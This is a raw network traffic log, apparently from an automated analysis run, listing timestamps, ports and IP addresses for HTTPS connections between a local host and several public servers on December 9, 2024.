Dec 9, 2024 14:20:08.161284924 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.161333084 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.161336899 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.161353111 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.161396980 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.161412954 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.161881924 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.161933899 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.161943913 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.164602995 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.164671898 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.164683104 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.170108080 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.170190096 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.170217991 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.170414925 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.170468092 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.170480013 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.173042059 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.173120975 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.173135042 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.178447962 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.178519964 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.178539991 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.178649902 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.178692102 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.178702116 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.180221081 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.181382895 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.181466103 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.181478024 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.224244118 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.225056887 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.228998899 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.258941889 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.258960962 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.258984089 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.258999109 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.259006977 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.259073019 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.259107113 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.259120941 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.259126902 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.259180069 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.275573015 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.277072906 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.280539036 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.326335907 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.326343060 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.326345921 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.326383114 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.348110914 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.351882935 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.351958036 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.351996899 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.352072001 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.352111101 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.352124929 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.352149010 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.352180004 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.352186918 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.352257013 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.352291107 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.353471994 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.357388973 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.357454062 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.357470036 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.359587908 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.359646082 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.359673977 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.365462065 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.365529060 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.365540981 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.365762949 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.365817070 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.365844011 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.367130995 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.367145061 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.367192984 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.367204905 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.367230892 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.367243052 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.367263079 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.367280960 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.373435974 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.373497009 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.373507977 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.381313086 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.381349087 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.381398916 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.381428957 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.381479025 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.389027119 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.389321089 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.389363050 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.389369965 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.389381886 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.389463902 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.396939993 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.396982908 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.397017956 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.397041082 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.397082090 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.397414923 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.404481888 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.405735970 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.405803919 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.405822992 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.414158106 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.414238930 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.414252996 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.414267063 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.414310932 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.414334059 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.415591955 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.415616989 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.415668011 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.415679932 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.415703058 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.415729046 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.438064098 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.438103914 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.438179016 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.438190937 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.438211918 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.438226938 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.438245058 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.438268900 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.438281059 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.438528061 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.438591957 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.438600063 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.438704014 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.438749075 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.438756943 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.441005945 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.441067934 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.441076994 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.442511082 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.442565918 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.442574978 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.453615904 CET	49860	443	192.168.2.9	104.17.24.14
Dec 9, 2024 14:20:08.453656912 CET	443	49860	104.17.24.14	192.168.2.9
Dec 9, 2024 14:20:08.469301939 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.469383955 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.469428062 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.492856979 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.516132116 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.541598082 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.541635036 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.541682959 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.541759968 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.541779995 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.541826963 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.545191050 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.545264959 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.545274973 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.545321941 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.545372963 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.545500994 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.545557022 CET	49859	443	192.168.2.9	104.18.11.207
Dec 9, 2024 14:20:08.545577049 CET	443	49859	104.18.11.207	192.168.2.9
Dec 9, 2024 14:20:08.545623064 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.545675039 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.545681953 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.545695066 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.545720100 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.545746088 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.547641993 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.547715902 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.547738075 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.547751904 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.547801018 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.549139977 CET	49862	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.549144983 CET	443	49862	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.549468994 CET	49858	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.549485922 CET	443	49858	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.603137970 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:08.603167057 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:08.603240013 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:08.603466988 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:08.603481054 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:08.634454966 CET	49705	80	192.168.2.9	199.232.210.172
Dec 9, 2024 14:20:08.703138113 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.703181982 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.703254938 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.703470945 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.703483105 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.704124928 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.704138994 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.704194069 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.704363108 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:08.704370975 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:08.704634905 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.704682112 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.704749107 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.704904079 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:08.704917908 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:08.754250050 CET	80	49705	199.232.210.172	192.168.2.9
Dec 9, 2024 14:20:08.754376888 CET	49705	80	192.168.2.9	199.232.210.172
Dec 9, 2024 14:20:09.810781002 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:09.811172009 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:09.811187983 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:09.812206030 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:09.812268019 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:09.815464020 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:09.815548897 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:09.815736055 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:09.815741062 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:09.868475914 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:09.908845901 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:09.909143925 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:09.909167051 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:09.910202980 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:09.910254955 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.910262108 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:09.910558939 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.910590887 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.910912037 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:09.910978079 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:09.911154032 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:09.911164045 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:09.911645889 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.911705017 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.912827015 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.912898064 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.912952900 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.912961960 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.913924932 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.914206982 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.914235115 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.915354967 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.915431023 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.915777922 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.915843010 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.915936947 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.915945053 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:09.962032080 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:09.962066889 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:09.962066889 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.182970047 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.186696053 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.186728954 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.187134981 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.187190056 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.187911034 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.187959909 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.189547062 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.189618111 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.189702034 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.231333971 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.242042065 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.242060900 CET	443	49864	43.152.64.207	192.168.2.9
Dec 9, 2024 14:20:10.254646063 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254709005 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254736900 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254765987 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.254787922 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254793882 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254838943 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.254853010 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.254906893 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.262998104 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.271353960 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.271384001 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.271414995 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.271440029 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.271491051 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.279632092 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.288927078 CET	49864	443	192.168.2.9	43.152.64.207
Dec 9, 2024 14:20:10.321419001 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.341435909 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.352976084 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353033066 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353070974 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353091002 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.353107929 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353121042 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353161097 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.353178024 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.353219032 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.359865904 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.359906912 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.359939098 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.359966040 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.359987974 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.359997034 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.360019922 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.360059977 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.360059977 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.360070944 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.362653971 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.369067907 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.369179964 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.369209051 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.371217012 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.371248007 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.371287107 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.371310949 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.371360064 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.374444008 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.378015041 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.378021002 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.380975008 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.381002903 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.384648085 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.415251017 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.415262938 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.430838108 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.430846930 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.450278044 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.450314999 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.450355053 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.450386047 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.450428009 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.450447083 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.450508118 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.450566053 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.450751066 CET	49869	443	192.168.2.9	104.17.25.14
Dec 9, 2024 14:20:10.450762033 CET	443	49869	104.17.25.14	192.168.2.9
Dec 9, 2024 14:20:10.461051941 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461067915 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461090088 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461103916 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461112976 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461136103 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.461158037 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461189032 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.461195946 CET	443	49872	151.101.194.137	192.168.2.9
Dec 9, 2024 14:20:10.461241007 CET	49872	443	192.168.2.9	151.101.194.137
Dec 9, 2024 14:20:10.472179890 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.479109049 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.524975061 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.525006056 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.527304888 CET	49873	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.527343988 CET	443	49873	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.547022104 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.547115088 CET	49871	443	192.168.2.9	104.18.10.207
Dec 9, 2024 14:20:10.547133923 CET	443	49871	104.18.10.207	192.168.2.9
Dec 9, 2024 14:20:10.555855036 CET	443	49873	104.18.10.207	192.168.2.9
